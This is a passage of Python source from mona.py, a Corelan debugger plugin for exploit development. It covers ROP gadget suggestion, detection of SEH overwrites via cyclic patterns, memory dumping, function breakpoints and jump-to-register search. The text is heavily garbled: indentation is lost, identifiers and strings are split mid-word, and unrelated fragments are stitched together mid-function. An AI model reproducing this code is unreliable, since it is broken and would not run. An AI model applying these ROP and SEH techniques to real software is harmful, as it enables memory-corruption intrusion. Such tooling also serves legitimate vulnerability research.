"SALC", "ENTER", "CWDE", "FCOM", "LAHF",
"DIV", "JO", "OUT", "IRET",
"FILD", "RETF","HALT","HLT","AAM","FINIT
"
]
for instr in forbidden:
if instruction.upper().find(instr) > -1:
return False
return True
return False
def isGadgetEnding(instruction,endings,verbosity=False):
for ending in endings:
if instruction.lower().find(ending.lower()) > -1:
return True
return False
def getRopSuggestion(ropchains,allchains):
suggestions={}
# pushad
# ======================
regs = ["EAX","EBX","ECX","EDX","EBP","ESI","EDI"]
pushad_allowed = [ "INC ","DEC ","OR ","XOR ","LEA ","ADD ","SUB ", "PUS
HAD", "RETN ", "NOP", "POP ","PUSH EAX","PUSH EDI","ADC ","FPATAN","MOV E" , "TE
ST ", "CMP "]
for r in regs:
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[ESI")
#virtual
protect
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[ESI")
#virtual
protect
pushad_allowed.append("MOV "+r+",DWORD PTR DS:[EBP")
#stack
pushad_allowed.append("MOV "+r+",DWORD PTR SS:[EBP")
#stack
for r2 in regs:
pushad_allowed.append("MOV "+r+","+r2)
pushad_allowed.append("XCHG "+r+","+r2)
pushad_allowed.append("LEA "+r+","+r2)
pushad_notallowed = ["POP ESP","POPAD","PUSH ESP","MOV ESP","ADD ESP", "
INC ESP","DEC ESP","XOR ESP","LEA ESP","SS:","DS:"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find("PUSHAD") == 2:
# does chain only contain allowed instructions
# one pop is allowed, as long as it's not pop esp
# push edi and push eax are allowed too (ropnop)
if gadgetinstructions.count("POP ") < 2 and suggestedGad
getCheck(gadgetinstructions,pushad_allowed,pushad_notallowed):
toadd={}
toadd[gadget] = gadgetinstructions
if not "pushad" in suggestions:
suggestions["pushad"] = toadd
else:
suggestions["pushad"] = mergeOpcodes(sug
gestions["pushad"],toadd)
# pick up a pointer
# =========================
pickedupin = []
resulthash = ""
allowedpickup = True
for r in regs:
for r2 in regs:
pickup_allowed = ["NOP","RETN ","INC ","DEC ","OR ","XOR
","MOV ","LEA ","ADD ","SUB ","POP","ADC ","FPATAN", "TEST ", "CMP "]
pickup_target = []
pickup_notallowed = []
pickup_allowed.append("MOV "+r+",DWORD PTR SS:["+r2+"]")
pickup_allowed.append("MOV "+r+",DWORD PTR DS:["+r2+"]")
pickup_target.append("MOV "+r+",DWORD PTR SS:["+r2+"]")
pickup_target.append("MOV "+r+",DWORD PTR DS:["+r2+"]")
pickup_notallowed = ["POP "+r, "MOV "+r+",E", "LEA "+r+"
,E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR", "DEC ESP"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
allowedpickup = False
for allowed in pickup_target:
if gadgetinstructions.find(allowed) == 2
and gadgetinstructions.count("DWORD PTR") == 1:
allowedpickup = True
break
if allowedpickup:
if suggestedGadgetCheck(gadgetinstructio
ns,pickup_allowed,pickup_notallowed):
toadd={}
toadd[gadget] = gadgetinstructio
ns
resulthash = "pickup pointer int
o "+r.lower()
if not resulthash in suggestions
:
suggestions[resulthash]
= toadd
else:
suggestions[resulthash]
= mergeOpcodes(suggestions[resulthash],toadd)
if not r in pickedupin:
pickedupin.append(r)
if len(pickedupin) == 0:
for r in regs:
for r2 in regs:
pickup_allowed = ["NOP","RETN ","INC ","DEC ","O
R ","XOR ","MOV ","LEA ","ADD ","SUB ","POP", "ADC ","FPATAN", "TEST ", "CMP "]
pickup_target = []
pickup_notallowed = []
pickup_allowed.append("MOV "+r+",DWORD PTR SS:["
+r2+"+")
pickup_allowed.append("MOV "+r+",DWORD PTR DS:["
+r2+"+")
pickup_target.append("MOV "+r+",DWORD PTR SS:["+
r2+"+")
pickup_target.append("MOV "+r+",DWORD PTR DS:["+
r2+"+")
pickup_notallowed = ["POP "+r, "MOV "+r+",E", "L
EA "+r+",E", "MOV ESP", "XOR ESP", "LEA ESP", "MOV DWORD PTR"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].s
trip()
allowedpickup = False
for allowed in pickup_target:
if gadgetinstructions.find(allow
ed) == 2 and gadgetinstructions.count("DWORD PTR") == 1:
allowedpickup = True
break
if allowedpickup:
if suggestedGadgetCheck(gadgetin
structions,pickup_allowed,pickup_notallowed):
toadd={}
toadd[gadget] = gadgetin
structions
resulthash = "pickup poi
nter into "+r.lower()
if not resulthash in sug
gestions:
suggestions[resu
lthash] = toadd
else:
suggestions[resu
lthash] = mergeOpcodes(suggestions[resulthash],toadd)
if not r in pickedupin:
pickedupin.appen
d(r)
# move pointer into another pointer
# =================================
for reg in regs:
#from
for reg2 in regs:
#to
if reg != reg2:
moveptr_allowed = ["NOP","RETN","POP ","INC ","D
EC ","OR ","XOR ","ADD ","PUSH ","AND ", "XCHG ", "ADC ","FPATAN", "TEST ", "CMP
"]
moveptr_notallowed = ["POP "+reg2,"MOV "+reg2+",
","XCHG "+reg2+",","XOR "+reg2,"LEA "+reg2+",","AND "+reg2,"DS:","SS:","PUSHAD",
"POPAD", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToR
eg("MOVE",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
# if we didn't find any, expand the search
suggestions = mergeOpcodes(suggestions,getRegToR
eg("ADD",reg,reg2,ropchains,moveptr_allowed,moveptr_notallowed))
# add value to register
# =========================
for reg in regs:
#to
moveptr_allowed = ["NOP","RETN","POP ","INC ","DEC ","OR ","XOR
","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP"]
suggestions = mergeOpcodes(suggestions,getRegToReg("ADDVAL",reg,
reg,ropchains,moveptr_allowed,moveptr_notallowed))
#inc reg
# =======
for reg in regs:
moveptr_allowed = ["NOP","RETN","POP ","INC " + reg,"DEC ","OR "
,"XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "DEC "+reg]
suggestions = mergeOpcodes(suggestions,getRegToReg("INC",reg,reg
,ropchains,moveptr_allowed,moveptr_notallowed))
#dec reg
# =======
for reg in regs:
moveptr_allowed = ["NOP","RETN","POP ","DEC " + reg,"INC ","OR "
,"XOR ","ADD ","PUSH ","AND ", "ADC ", "SUB ","FPATAN", "TEST ", "CMP "]
moveptr_notallowed = ["POP "+reg,"MOV "+reg+",","XCHG "+reg+",",
"XOR "+reg,"LEA "+reg+",","DS:","SS:", "DEC ESP", "INC "+reg]
suggestions = mergeOpcodes(suggestions,getRegToReg("DEC",reg,reg
,ropchains,moveptr_allowed,moveptr_notallowed))
#popad reg
# =======
popad_allowed = ["POPAD","RETN","INC ","DEC ","OR ","XOR ","ADD ","AND "
, "ADC ", "SUB ","FPATAN","POP ", "TEST ", "CMP "]
popad_notallowed = ["POP ESP","PUSH ESP","MOV ESP","ADD ESP", "INC ESP",
"DEC ESP","XOR ESP","LEA ESP","SS:","DS:"]
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find("POPAD") == 2:
if suggestedGadgetCheck(gadgetinstructions,popad_allowed
,popad_notallowed):
toadd={}
toadd[gadget] = gadgetinstructions
if not "popad" in suggestions:
suggestions["popad"] = toadd
else:
suggestions["popad"] = mergeOpcodes(sugg
estions["popad"],toadd)
# pop
# ===
for reg in regs:
pop_allowed = "POP "+reg+" # RETN"
pop_notallowed = []
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find(pop_allowed) == 2:
resulthash = "pop "+reg.lower()
toadd = {}
toadd[gadget] = gadgetinstructions
if gadgetinstructions.find(empty) == 2:
resulthash = "clear "+reg.lower()
toadd = {}
toadd[gadget] = gadgetinstructions
if not resulthash in suggestions:
suggestions[resulthash] = toadd
else:
suggestions[resulthash] = mergeO
pcodes(suggestions[resulthash],toadd)
return suggestions
def getRegToReg(type,fromreg,toreg,ropchains,moveptr_allowed,moveptr_notallowed)
:
moveptr = []
instrwithout = ""
toreg = toreg.upper()
srcval = False
resulthash = ""
musthave = ""
if type == "MOVE":
moveptr.append("MOV "+toreg+","+fromreg)
moveptr.append("LEA "+toreg+","+fromreg)
#if not (fromreg == "ESP" or toreg == "ESP"):
moveptr.append("XCHG "+fromreg+","+toreg)
moveptr.append("XCHG "+toreg+","+fromreg)
moveptr.append("PUSH "+fromreg)
moveptr.append("ADD "+toreg+","+fromreg)
moveptr.append("ADC "+toreg+","+fromreg)
moveptr.append("XOR "+toreg+","+fromreg)
if type == "XOR":
moveptr.append("XOR "+toreg+","+fromreg)
if type == "ADD":
moveptr.append("ADD "+toreg+","+fromreg)
moveptr.append("ADC "+toreg+","+fromreg)
moveptr.append("XOR "+toreg+","+fromreg)
if type == "ADDVAL":
moveptr.append("ADD "+toreg+",")
moveptr.append("ADC "+toreg+",")
moveptr.append("XOR "+toreg+",")
moveptr.append("SUB "+toreg+",")
srcval = True
resulthash = "add value to " + toreg
if type == "INC":
moveptr.append("INC "+toreg)
resulthash = "inc " + toreg
if type == "DEC":
moveptr.append("DEC "+toreg)
resulthash = "dec " + toreg
results = {}
if resulthash == "":
resulthash = type +" "+fromreg+" -> "+toreg
resulthash = resulthash.lower()
for tocheck in moveptr:
origtocheck = tocheck
for gadget in ropchains:
gadgetinstructions = ropchains[gadget].strip()
if gadgetinstructions.find(tocheck) == 2:
moveon = True
if srcval:
#check if src is a value
inparts = gadgetinstructions.split(",")
if len(inparts) > 1:
subinparts = inparts[1].split("
")
if isHexString(subinparts[0].str
ip()):
tocheck = tocheck + subi
nparts[0].strip()
else:
moveon = False
if moveon:
instrwithout = gadgetinstructions.replac
e(tocheck,"")
if tocheck == "PUSH "+fromreg:
popreg = instrwithout.find("POP
"+toreg)
popall = instrwithout.find("POP"
)
#make sure pop matches push
nrpush = gadgetinstructions.coun
t("PUSH ")
nrpop = gadgetinstructions.count
("POP ")
pushpopmatch = False
if nrpop >= nrpush:
pushes = []
pops = []
ropparts = gadgetinstruc
tions.split(" # ")
pushindex = 0
popindex = 0
cntpush = 0
cntpop = nrpush
for parts in ropparts:
if parts.strip()
!= "":
if parts
.strip().find("PUSH ") > -1:
pushes.append(parts)
if parts.strip() == "PUSH "+fromreg:
cntpush += 1
if parts
.strip().find("POP ") > -1:
pops.append(parts)
if parts.strip() == "POP "+toreg:
cntpop -= 1
if cntpush == cntpop:
#dbg.log("%s : P
OPS : %d, PUSHES : %d, pushindex : %d, popindex : %d" % (gadgetinstructions,len(
pops),len(pushes),pushindex,popindex))
#dbg.log("push a
t %d, pop at %d" % (cntpush,cntpop))
pushpopmatch = T
rue
Return:
Boolean - True if the write succeeded
"""
WRITE_SIZE = 10000
dbg.log("Dumping %d bytes from address 0x%08x to %s..." % (size, address
, filename))
out = open(filename,'wb')
# write by increments of 10000 bytes
current = 0
while current < size :
bytesToWrite = size - current
if ( bytesToWrite >= WRITE_SIZE):
bytes = dbg.readMemory(address+current,WRITE_SIZE)
out.write(bytes)
current += WRITE_SIZE
else:
bytes = dbg.readMemory(address+current,bytesToWrite)
out.write(bytes)
current += bytesToWrite
out.close()
return True
def checkSEHOverwrite(address, nseh, seh):
"""
Checks if the current SEH record is overwritten
with a cyclic pattern
Input : address of SEH record, nseh value, seh value
Returns : array. Non empty array = SEH is overwritten
Array contents :
[0] : type (normal, upper, lower, unicode)
[1] : offset to nseh
"""
pattypes = ["normal","upper","lower","unicode"]
overwritten = []
global silent
silent = True
fullpattern = createPattern(50000,{})
for pattype in pattypes:
regpattern = fullpattern
hexpat = toHex(seh)
hexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5
])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1])
factor = 1
goback = 4
if pattype == "upper":
regpattern = regpattern.upper()
if pattype == "lower":
regpattern = regpattern.lower()
if pattype == "unicode":
hexpat = dbg.readMemory(address,8)
hexpat = hexpat.replace('\x00','')
goback = 2
offset = regpattern.find(hexpat)-goback
thissize = 0
if pattype == "upper":
regpattern = regpattern.upper()
if pattype == "lower":
regpattern = regpattern.lower()
if pattype == "unicode":
regpattern = toUnicode(regpattern)
factor = 0.5
offset = regpattern.find(hexpat)
if offset > -1:
if pattype == "unicode":
offset = offset * factor
if not silent:
dbg.log("
%s contains %s pattern : 0x
%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset))
tofile += "
%s contains %s pattern : 0x%s (of
fset %d)\n" % (reg,pattype,toHex(regs[reg]),offset)
if not reg in registers:
registers[reg] = ([regs[reg],offset,patt
ype])
else:
# maybe it's reversed ?
offset = regpattern.find(hexpatrev)
if offset > -1:
if pattype == "unicode":
offset = offset * factor
if not silent:
dbg.log("
%s contains %s patt
ern (reversed) : 0x%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset))
tofile += "
%s contains %s pattern (r
eversed) : 0x%s (offset %d)\n" % (reg,pattype,toHex(regs[reg]),offset)
if not reg in registers:
registers[reg] = ([regs[reg],off
set,pattype])
# maybe register points into cyclic pattern
mempat = ""
try:
mempat = dbg.readMemory(regs[reg],4)
except:
pass
if mempat != "":
if pattype == "normal":
regpattern = fullpattern
if pattype == "upper":
regpattern = fullpattern.upper()
if pattype == "lower":
regpattern = fullpattern.lower()
if pattype == "unicode":
mempat = dbg.readMemory(regs[reg],8)
mempat = mempat.replace('\x00','')
offset = regpattern.find(mempat)
if offset > -1:
thissize = getPatternLength(regs[reg],pa
ttype,args)
if thissize > 0:
if not silent:
dbg.log("
%s (0x%s) p
hexpat2 = hexpat2.replac
e('\x00','')
if hexpat1 == "" or hexp
at2 == "":
#no unicode
hexpat = ""
break
else:
hexpat = hexpat1
+ hexpat2
if len(hexpat) == 4:
offset = regpattern.find
(hexpat)
currptr = stackcounter
if offset > -1:
thissize = getPa
tternLength(currptr,pattype)
offsetvalue = in
t(str(espoffset).replace("-",""))
if thissize > 0:
stepsize
= thissize
if thiss
ize/4*4 != thissize:
stepsize = (thissize/4*4) + 4
# align
stack again
if not s
ilent:
espoff = 0
espsign = "+"
if ((stackcounter + thissize) >= curresp):
espoff = (stackcounter + thissize) - curresp
else:
espoff = curresp - (stackcounter + thissize)
espsign = "-"
dbg.log("
0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d,
length %d (-> 0x%s : ESP%s0x%s)" % (toHex(stackcounter),pattype,sign,rmLeading(t
oHex(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thiss
ize-1),espsign,rmLeading(toHex(espoff),"0")))
tofile +
= "
0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d, length
%d (-> 0x%s : ESP%s0x%s)\n" % (toHex(stackcounter),pattype,sign,rmLeading(toHex
(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thissize1),espsign,rmLeading(toHex(espoff),"0"))
if not c
urrptr in stackcontains:
stackcontains[currptr] = ([offsetvalue,sign,offset,thissize,pattype])
else:
#if we a
re close to ESP, change stepsize to 1
if offse
tvalue <= 256:
stepsize = 1
stackcounter += stepsize
if len(tval) < 2:
tval="0"+tval
cval = tval+cval
try:
contat = dbg.readMemory(hexStrToInt(cval
),4)
except:
contat = ""
if contat <> "":
for pattype in pattypes:
dbg.updateLog()
regpattern = fullpattern
hexpat = contat
if pattype == "upper":
regpattern = regpattern.
upper()
if pattype == "lower":
regpattern = regpattern.
lower()
if pattype == "unicode":
hexpat1 = dbg.readMemory
(stackcounter,4)
hexpat2 = dbg.readMemory
(stackcounter+4,4)
hexpat1 = hexpat1.replac
e('\x00','')
hexpat2 = hexpat2.replac
e('\x00','')
if hexpat1 == "" or hexp
at2 == "":
#no unicode
hexpat = ""
break
else:
hexpat = hexpat1
+ hexpat2
if len(hexpat) == 4:
offset = regpattern.find
(hexpat)
currptr = hexStrToInt(cv
al)
if offset > -1:
thissize = getPa
tternLength(currptr,pattype)
if thissize > 0:
offsetva
lue = int(str(espoffset).replace("-",""))
if not s
ilent:
dbg.log("
0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s :
offset %d, length %d" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offset
value),"0"),sign,offsetvalue,toHex(currptr),offset,thissize))
tofile +
= "
0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s : offset
# query OS modules ?
if "o" in args and args["o"]:
modulecriteria["os"] = False
dbg.log("
- Ignoring OS modules")
# allow nulls ?
if "n" in args and args["n"]:
criteria["nonull"] = True
dbg.log("
- Ignoring pointers that have null bytes")
dbg.log("
" % args["cpb"])
if "cm" in args:
modcriteria = args["cm"].split(",")
for modcrit in modcriteria:
modcrit=modcrit.strip("'")
modcrit=modcrit.strip('"').lower().strip()
#each criterium has 1 or 2 parts : criteria=value
modcritparts = modcrit.split("=")
try:
if len(modcritparts) < 2:
# set to True, no value given
modulecriteria[modcritparts[0].strip()]
= True
else:
# read the value
modulecriteria[modcritparts[0].strip()]
= (modcritparts[1].strip() == "true")
except:
continue
if (inspect.stack()[1][3] == "procShowMODULES"):
modcriteria = args["cm"].split(",")
for modcrit in modcriteria:
modcrit=modcrit.strip("'")
modcrit=modcrit.strip('"').lower().strip()
if modcrit.startswith("+"):
modulecriteria[modcrit]=True
else:
modulecriteria[modcrit]=False
dbg.log("
- Module criteria : %s" % modcriteria)
return modulecriteria,criteria
#manage breakpoint on selected exported/imported functions from selected modules
def doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode="add",type="export"
):
"""
Sets a breakpoint on selected exported/imported functions from selected
modules
Arguments :
modulecriteria - Dictionary
funcfilter - comma separated string indicating functions to set bp on
must contains "*" to select all functions
mode - "add" to create bp's, "del" to remove bp's
Returns : nothing
"""
type = type.lower()
namecrit = funcfilter.split(",")
if mode == "add" or mode == "del" or mode == "list":
if not silent:
dbg.log("[+] Enumerating %sed functions" % type)
modulestosearch = getModulesToQuery(modulecriteria)
bpfuncs = {}
for thismodule in modulestosearch:
if not silent:
dbg.log(" Querying module %s" % thismodule)
# get all
themod = dbg.getModule(thismodule)
tmod = MnModule(thismodule)
shortname = tmod.getShortName()
syms = themod.getSymbols()
# get funcs
funcs = {}
if type == "export":
funcs = tmod.getEAT()
else:
funcs = tmod.getIAT()
if not silent:
dbg.log(" Total nr of %sed functions : %d" % (
type,len(funcs)))
for func in funcs:
if meetsCriteria(MnPointer(func), criteria):
funcname = funcs[func].lower()
setbp = False
if "*" in namecrit:
setbp = True
else:
for crit in namecrit:
crit = crit.lower()
tcrit = crit.replace("*"
,"")
if (crit.startswith("*")
and crit.endswith("*")) or (crit.find("*") == -1):
if funcname.find
(tcrit) > -1:
setbp =
True
elif crit.startswith("*"
):
if funcname.ends
with(tcrit):
setbp =
True
elif crit.endswith("*"):
if funcname.star
tswith(tcrit):
setbp =
True
if setbp:
if type == "export":
if not func in bpfuncs:
bpfuncs[func] =
funcs[func]
else:
ptr = 0
try:
#read pointer of
imported function
ptr=struct.unpac
k('<L',dbg.readMemory(func,4))[0]
except:
pass
if ptr > 0:
if not ptr in bp
funcs:
bpfuncs[
ptr] = funcs[func]
if __DEBUGGERAPP__ == "WinDBG":
# let's do a few searches
for crit in namecrit:
if crit.find("*") == -1:
crit = "*" + crit + "*"
modsearch = "x %s!%s" % (shortname,crit)
output = dbg.nativeCommand(modsearch)
outputlines = output.split("\n")
for line in outputlines:
if line.replace(" ","") != "":
linefields = line.split(
" ")
if len(linefields) > 1:
ptr = hexStrToIn
t(linefields[0])
cnt = 1
while cnt < len(
linefields)-1:
if linef
ields[cnt] != "":
funcname = linefields[cnt]
break
cnt += 1
if not ptr in bp
funcs:
bpfuncs[
ptr] = funcname
if not silent:
dbg.log("[+] Total nr of breakpoints to process : %d" %
len(bpfuncs))
if len(bpfuncs) > 0:
for funcptr in bpfuncs:
if mode == "add":
dbg.log("Set bp at 0x%s (%s in %s)" % (t
oHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
try:
dbg.setBreakpoint(funcptr)
except:
dbg.log("Failed setting bp at 0x
%s" % toHex(funcptr))
elif mode == "del":
dbg.log("Remove bp at 0x%s (%s in %s)" %
(toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
try:
dbg.deleteBreakpoint(funcptr)
except:
dbg.log("Skipped removal of bp a
t 0x%s" % toHex(funcptr))
elif mode == "list":
dbg.log("Match found at 0x%s (%s in %s)"
% (toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
return
#-----------------------------------------------------------------------#
# main
#-----------------------------------------------------------------------#
def main(args):
dbg.createLogWindow()
global currentArgs
currentArgs = args
try:
starttime = datetime.datetime.now()
ptr_counter = 0
# initialize list of commands
commands = {}
# ----- HELP ----- #
def getBanner():
banners = {}
bannertext = ""
bannertext += "
|-----------------------------------------------------------------|\n"
bannertext += "
|
__
__
|\n"
bannertext += "
| _________ ________ / /___ _____
/ /____ ____ _____ ___ |\n"
bannertext += "
| / ___/ __ \/ ___/ _ \/ / __ `/ __
\ / __/ _ \/ __ `/ __ `__ \ |\n"
bannertext += "
| / /__/ /_/ / / / __/ / /_/ / / /
/ / /_/ __/ /_/ / / / / / / |\n"
bannertext += "
| \___/\____/_/ \___/_/\__,_/_/ /_/
\__/\___/\__,_/_/ /_/ /_/ |\n"
bannertext += "
|
|\n"
bannertext += "
|
https://www.corelan.be | ht
tp://redmine.corelan.be
|\n"
bannertext += "
|-----------------------------------------------------------------|\n"
banners[0] = bannertext
bannertext
bannertext
------------------------------|\n"
bannertext
_
_ __ _ _
|\n"
bannertext
` | | '_ \ | | | |
|\n"
bannertext
| | _ | |_) || |_| |
|\n"
bannertext
,_|(_)| .__/ \__, |
|\n"
bannertext
|_|
|___/
|\n"
bannertext
|\n"
bannertext
------------------------------|\n"
= ""
+= "
|------------------------------------
+= "
+= "
| '_ ` _ \ / _ \ | '_ \ / _
+= "
| | | | | || (_) || | | || (_
+= "
+= "
+= "
+= "
|------------------------------------
_ __ ___
___
_ __
__
banners[1] = bannertext
bannertext
bannertext
------------------------------|\n"
bannertext
|\n"
bannertext
|\n"
bannertext
https://www.corelan.be
|\n"
bannertext
http://redmine.corelan.be
|\n"
bannertext
#corelan (Freenode IRC)
|\n"
bannertext
|\n"
bannertext
------------------------------|\n"
banners[2]
= ""
+= "
|------------------------------------
+= "
+= "
+= "
/ __ `__ \/ __ \/ __ \/ __ `/
+= "
+= "
+= "
+= "
|------------------------------------
bannertext
bannertext
#........########..##....##\n"
bannertext
.......##.....##..##..##.\n"
bannertext
#......##.....##...####..\n"
bannertext
##.....########.....##...\n"
bannertext
##.....##...........##...\n"
bannertext
##.###.##...........##...\n"
bannertext
##.###.##...........##...\n\n"
banners[3]
= ""
+= "\n
/ / / / / / /_/ / / / / /_/ /
= bannertext
.##.....##..#######..##....##....##
+= "
.###...###.##.....##.###...##...##.##
+= "
.####.####.##.....##.####..##..##...#
+= "
.##.###.##.##.....##.##.##.##.##.....
+= "
.##.....##.##.....##.##..####.#######
+= "
.##.....##.##.....##.##...###.##.....
+= "
.##.....##..#######..##....##.##.....
= bannertext
dbg.logLines(getBanner(),highlight=1)
dbg.log("Global options :")
dbg.log("----------------")
dbg.log("You can use one or more of the following global
options on any command that will perform")
dbg.log("a search in one or more modules, returning a li
st of pointers :")
dbg.log(" -n
: Skip modules that sta
rt with a null byte. If this is too broad, use")
dbg.log("
option -cm nonull ins
tead")
dbg.log(" -o
: Ignore OS modules")
dbg.log(" -p <nr>
: Stop search after <nr
> pointers.")
dbg.log(" -m <module,module,...> : only query the given
modules. Be sure what you are doing !")
dbg.log("
You can specify multi
ple modules (comma separated)")
dbg.log("
Tip : you can use -m
* to include all modules. All other module criteria will be ignored")
dbg.log("
Other wildcards : *bl
ah.dll = ends with blah.dll, blah* = starts with blah,")
dbg.log("
blah or *blah* = cont
ains blah")
dbg.log(" -cm <crit,crit,...>
: Apply some additional
criteria to the modules to query.")
dbg.log("
You can use one or mo
re of the following criteria :")
dbg.log("
aslr,safeseh,rebase,n
x,os")
dbg.log("
You can enable or dis
able a certain criterium by setting it to true or false")
dbg.log("
Example : -cm aslr=t
rue,safeseh=false")
dbg.log("
Suppose you want to s
earch for p/p/r in aslr enabled modules, you could call")
dbg.log("
!mona seh -cm aslr")
dbg.log(" -cp <crit,crit,...>
: Apply some criteria t
o the pointers to return")
dbg.log("
Available options are
:")
dbg.log("
unicode,ascii,asciipr
int,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicode
rev")
dbg.log("
Note : Multiple crite
ria will be evaluated using 'AND', except if you are looking for unicode + one c
rit")
dbg.log(" -cpb '\\x00\\x01'
: Provide list with b
ad chars, applies to pointers")
dbg.log("
You can use .. to ind
icate a range of bytes (in between 2 bad chars)")
dbg.log(" -x <access>
: Specify desired acces
s level of the returning pointers. If not specified,")
dbg.log("
only executable point
ers will be return.")
dbg.log("
Access levels can be
one of the following values : R,W,X,RW,RX,WX,RWX or *")
if not args:
args = []
if len(args) > 1:
thiscmd = args[1].lower().strip()
if thiscmd in commands:
dbg.log("")
dbg.log("Usage of command '%s' :" % this
cmd)
dbg.log("%s" % ("-" * (22 + len(thiscmd)
)))
dbg.logLines(commands[thiscmd].usage)
dbg.log("")
else:
aliasfound = False
for cmd in commands:
if commands[cmd].alias == thiscm
d:
dbg.log("")
dbg.log("Usage of comman
d '%s' :" % thiscmd)
dbg.log("%s" % ("-" * (2
2 + len(thiscmd))))
dbg.logLines(commands[cm
d].usage)
dbg.log("")
aliasfound = True
if not aliasfound:
dbg.logLines("\nCommand %s does
not exist. Run !mona to get a list of available commands\n" % thiscmd,highlight=
1)
else:
dbg.logLines("\nUsage :")
dbg.logLines("-------\n")
dbg.log(" !mona <command> <parameter>")
dbg.logLines("\nAvailable commands and parameter
s :\n")
items = commands.items()
items.sort(key = itemgetter(0))
for item in items:
if commands[item[0]].usage <> "":
aliastxt = ""
if commands[item[0]].alias != ""
:
aliastxt = " / " + comma
nds[item[0]].alias
dbg.logLines("%s | %s" % (item[0
] + aliastxt + (" " * (20 - len(item[0]+aliastxt))), commands[item[0]].descripti
on))
dbg.log("")
dbg.log("Want more info about a given command ?
Run !mona help <command>",highlight=1)
dbg.log("")
commands["help"] = MnCommand("help", "show help", "!mona help [c
ommand]",procHelp)
# ----- Config file management ----- #
def procConfig(args):
#did we specify -get, -set or -add?
showerror = False
if not "set" in args and not "get" in args and not "add"
in args:
showerror = True
if "set" in args:
if type(args["set"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["set"].split(" ")
if len(params) < 2:
showerror = True
if "add" in args:
if type(args["add"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["add"].split(" ")
if len(params) < 2:
showerror = True
if "get" in args:
if type(args["get"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["get"].split(" ")
if len(params) < 1:
showerror = True
if showerror:
dbg.log("Usage :")
dbg.logLines(configUsage,highlight=1)
return
else:
if "get" in args:
dbg.log("Reading value from configuratio
n file")
monaConfig = MnConfig()
thevalue = monaConfig.get(args["get"])
dbg.log("Parameter %s = %s" % (args["get
"],thevalue))
if "set" in args:
dbg.log("Writing value to configuration
file")
monaConfig = MnConfig()
value = args["set"].split(" ")
configparam = value[0].strip()
dbg.log("Old value of parameter %s = %s"
% (configparam,monaConfig.get(configparam)))
configvalue = args["set"][0+len(configpa
ram):len(args["set"])]
monaConfig.set(configparam,configvalue)
dbg.log("New value of parameter %s = %s"
% (configparam,configvalue))
if "add" in args:
dbg.log("Writing value to configuration
file")
monaConfig = MnConfig()
value = args["add"].split(" ")
configparam = value[0].strip()
dbg.log("Old value of parameter %s = %s"
% (configparam,monaConfig.get(configparam)))
configvalue = monaConfig.get(configparam
).strip() + "," + args["add"][0+len(configparam):len(args["add"])].strip()
monaConfig.set(configparam,configvalue)
dbg.log("New value of parameter %s = %s"
% (configparam,configvalue))
# ----- Jump to register ----- #
def procFindJ(args):
return procFindJMP(args)
def procFindJMP(args):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
if (inspect.stack()[1][3] == "procFindJ"):
dbg.log(" ** Note : command 'j' has been replace
d with 'jmp'. Now launching 'jmp' instead...",highlight=1)
criteria={}
all_opcodes={}
global ptr_to_get
ptr_to_get = -1
distancestr = ""
mindistance = 0
maxdistance = 0
#did user specify -r <reg> ?
showerror = False
if "r" in args:
if type(args["r"]).__name__.lower() == "bool":
showerror = True
else:
#valid register ?
thisreg = args["r"].upper().strip()
validregs = dbglib.Registers32BitsOrder
if not thisreg in validregs:
showerror = True
else:
showerror = True
if "distance" in args:
if type(args["distance"]).__name__.lower() == "b
ool":
showerror = True
else:
distancestr = args["distance"]
distanceparts = distancestr.split(",")
for parts in distanceparts:
valueparts = parts.split("=")
if len(valueparts) > 1:
if valueparts[0].lower()
== "min":
try:
mindista
nce = int(valueparts[1])
except:
mindista
nce = 0
if valueparts[0].lower()
== "max":
try:
maxdista
nce = int(valueparts[1])
except:
maxdista
nce = 0
if maxdistance < mindistance:
tmp = maxdistance
maxdistance = mindistance
mindistance = tmp
criteria["mindistance"] = mindistance
criteria["maxdistance"] = maxdistance
if showerror:
dbg.log("Usage :")
dbg.logLines(jmpUsage,highlight=1)
